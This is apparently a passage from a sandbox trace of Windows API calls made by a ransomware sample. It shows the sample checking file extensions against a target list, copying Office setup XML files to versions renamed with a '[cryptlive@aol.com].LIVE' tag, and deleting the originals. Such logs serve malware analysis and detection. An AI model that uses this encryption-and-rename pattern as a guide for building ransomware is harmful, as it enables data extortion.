(lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0046.158] lstrlenW (lpString=".dbf") returned 4 [0046.158] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0046.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0046.158] lstrlenW (lpString=".1cd") returned 4 [0046.158] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0046.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0046.158] lstrlenW (lpString=".jpg") returned 4 [0046.158] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0046.158] lstrcmpiW (lpString1=".XML", lpString2=".LIVE") returned 1 [0046.159] lstrlenW (lpString="OutlookMUI.XML") returned 14 [0046.159] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0046.159] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=3186) returned 1 [0046.159] CloseHandle (hObject=0x184) returned 1 [0046.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml")) returned 0x20 [0046.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0046.159] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0046.159] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.159] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.159] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0046.161] GetLastError () returned 0x0 [0046.161] ReadFile (in: hFile=0x184, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0xc72, lpOverlapped=0x0) returned 1 [0046.163] WriteFile (in: hFile=0x15c, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xc80, lpOverlapped=0x0) returned 1 [0046.164] ReadFile (in: hFile=0x184, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.164] WriteFile (in: hFile=0x15c, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0046.164] SetEndOfFile (hFile=0x15c) returned 1 [0046.164] CloseHandle (hObject=0x15c) returned 1 [0046.165] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.165] SetEndOfFile (hFile=0x184) returned 1 [0046.166] CloseHandle (hObject=0x184) returned 1 [0046.166] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0046.166] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml")) returned 1 [0046.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0046.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0046.166] lstrlenW (lpString=".doc") returned 4 [0046.166] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0046.166] lstrlenW (lpString=".docx") returned 5 [0046.166] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0046.166] lstrlenW (lpString=".pdf") returned 4 [0046.166] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0046.166] lstrlenW (lpString=".xls") returned 4 [0046.166] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0046.166] lstrlenW (lpString=".xlsx") returned 5 [0046.166] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0046.167] lstrlenW (lpString=".ppt") returned 4 [0046.167] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0046.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0046.167] lstrlenW (lpString=".zip") returned 4 [0046.167] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0046.167] lstrlenW (lpString=".rar") returned 4 [0046.167] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0046.167] lstrlenW (lpString=".bz2") returned 4 [0046.167] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0046.167] lstrlenW (lpString=".7z") returned 3 [0046.167] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0046.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0046.167] lstrlenW (lpString=".dbf") returned 4 [0046.167] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0046.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0046.167] lstrlenW (lpString=".1cd") returned 4 [0046.167] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0046.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0046.167] lstrlenW (lpString=".jpg") returned 4 [0046.167] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0046.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0046.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0046.167] lstrlenW (lpString=".doc") returned 4 [0046.167] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0046.167] lstrlenW (lpString=".docx") returned 5 [0046.167] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0046.167] lstrlenW (lpString=".pdf") returned 4 [0046.167] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0046.167] lstrlenW (lpString=".xls") returned 4 [0046.167] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0046.167] lstrlenW (lpString=".xlsx") returned 5 [0046.167] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0046.167] lstrlenW (lpString=".ppt") returned 4 [0046.167] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0046.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0046.168] lstrlenW (lpString=".zip") returned 4 [0046.168] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0046.168] lstrlenW (lpString=".rar") returned 4 [0046.168] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0046.168] lstrlenW (lpString=".bz2") returned 4 [0046.168] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0046.168] lstrlenW (lpString=".7z") returned 3 [0046.168] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0046.168] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0046.168] lstrlenW (lpString=".dbf") returned 4 [0046.168] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0046.168] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0046.168] lstrlenW (lpString=".1cd") returned 4 [0046.168] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0046.168] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0046.168] lstrlenW (lpString=".jpg") returned 4 [0046.168] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0046.168] lstrcmpiW (lpString1=".XML", lpString2=".LIVE") returned 1 [0046.168] lstrlenW (lpString="SETUP.XML") returned 9 [0046.168] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0046.170] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=4207) returned 1 [0046.170] CloseHandle (hObject=0x184) returned 1 [0046.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml")) returned 0x20 [0046.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0046.171] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0046.171] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.171] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.171] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0046.171] GetLastError () returned 0x0 [0046.171] ReadFile (in: hFile=0x184, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x106f, lpOverlapped=0x0) returned 1 [0046.173] WriteFile (in: hFile=0x15c, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0x1070, lpOverlapped=0x0) returned 1 [0046.174] ReadFile (in: hFile=0x184, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.174] WriteFile (in: hFile=0x15c, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0046.174] SetEndOfFile (hFile=0x15c) returned 1 [0046.174] CloseHandle (hObject=0x15c) returned 1 [0046.175] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.175] SetEndOfFile (hFile=0x184) returned 1 [0046.176] CloseHandle (hObject=0x184) returned 1 [0046.176] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0046.176] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml")) returned 1 [0046.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0046.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0046.176] lstrlenW (lpString=".doc") returned 4 [0046.176] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0046.176] lstrlenW (lpString=".docx") returned 5 [0046.176] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0046.177] lstrlenW (lpString=".pdf") returned 4 [0046.177] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0046.177] lstrlenW (lpString=".xls") returned 4 [0046.177] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0046.177] lstrlenW (lpString=".xlsx") returned 5 [0046.177] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0046.177] lstrlenW (lpString=".ppt") returned 4 [0046.177] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0046.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0046.177] lstrlenW (lpString=".zip") returned 4 [0046.177] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0046.177] lstrlenW (lpString=".rar") returned 4 [0046.177] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0046.177] lstrlenW (lpString=".bz2") returned 4 [0046.177] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0046.177] lstrlenW (lpString=".7z") returned 3 [0046.177] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0046.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0046.177] lstrlenW (lpString=".dbf") returned 4 [0046.177] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0046.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0046.177] lstrlenW (lpString=".1cd") returned 4 [0046.177] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0046.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0046.177] lstrlenW (lpString=".jpg") returned 4 [0046.177] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0046.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0046.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0046.177] lstrlenW (lpString=".doc") returned 4 [0046.177] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0046.177] lstrlenW (lpString=".docx") returned 5 [0046.177] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0046.178] lstrlenW (lpString=".pdf") returned 4 [0046.178] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0046.178] lstrlenW (lpString=".xls") returned 4 [0046.178] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0046.178] lstrlenW (lpString=".xlsx") returned 5 [0046.178] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0046.178] lstrlenW (lpString=".ppt") returned 4 [0046.178] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0046.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0046.178] lstrlenW (lpString=".zip") returned 4 [0046.178] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0046.178] lstrlenW (lpString=".rar") returned 4 [0046.178] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0046.178] lstrlenW (lpString=".bz2") returned 4 [0046.178] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0046.178] lstrlenW (lpString=".7z") returned 3 [0046.178] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0046.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0046.178] lstrlenW (lpString=".dbf") returned 4 [0046.179] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0046.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0046.179] lstrlenW (lpString=".1cd") returned 4 [0046.179] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0046.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0046.179] lstrlenW (lpString=".jpg") returned 4 [0046.179] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0046.179] lstrcmpiW (lpString1=".XML", lpString2=".LIVE") returned 1 [0046.179] lstrlenW (lpString="PowerPointMUI.XML") returned 17 [0046.179] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0046.179] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=1450) returned 1 [0046.179] CloseHandle (hObject=0x184) returned 1 [0046.179] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml")) returned 0x20 [0046.180] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0046.180] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0046.180] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.180] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.180] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0046.181] GetLastError () returned 0x0 [0046.181] ReadFile (in: hFile=0x184, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x5aa, lpOverlapped=0x0) returned 1 [0046.183] WriteFile (in: hFile=0x15c, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0046.184] ReadFile (in: hFile=0x184, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.184] WriteFile (in: hFile=0x15c, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0046.184] SetEndOfFile (hFile=0x15c) returned 1 [0046.184] CloseHandle (hObject=0x15c) returned 1 [0046.185] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.185] SetEndOfFile (hFile=0x184) returned 1 [0046.186] CloseHandle (hObject=0x184) returned 1 [0046.186] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0046.186] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml")) returned 1 [0046.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0046.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0046.186] lstrlenW (lpString=".doc") returned 4 [0046.186] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0046.186] lstrlenW (lpString=".docx") returned 5 [0046.186] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0046.187] lstrlenW (lpString=".pdf") returned 4 [0046.187] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0046.187] lstrlenW (lpString=".xls") returned 4 [0046.187] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0046.187] lstrlenW (lpString=".xlsx") returned 5 [0046.187] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0046.187] lstrlenW (lpString=".ppt") returned 4 [0046.187] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0046.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0046.187] lstrlenW (lpString=".zip") returned 4 [0046.187] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0046.187] lstrlenW (lpString=".rar") returned 4 [0046.187] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0046.187] lstrlenW (lpString=".bz2") returned 4 [0046.187] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0046.187] lstrlenW (lpString=".7z") returned 3 [0046.187] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0046.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0046.187] lstrlenW (lpString=".dbf") returned 4 [0046.187] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0046.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0046.187] lstrlenW (lpString=".1cd") returned 4 [0046.187] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0046.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0046.187] lstrlenW (lpString=".jpg") returned 4 [0046.187] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0046.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 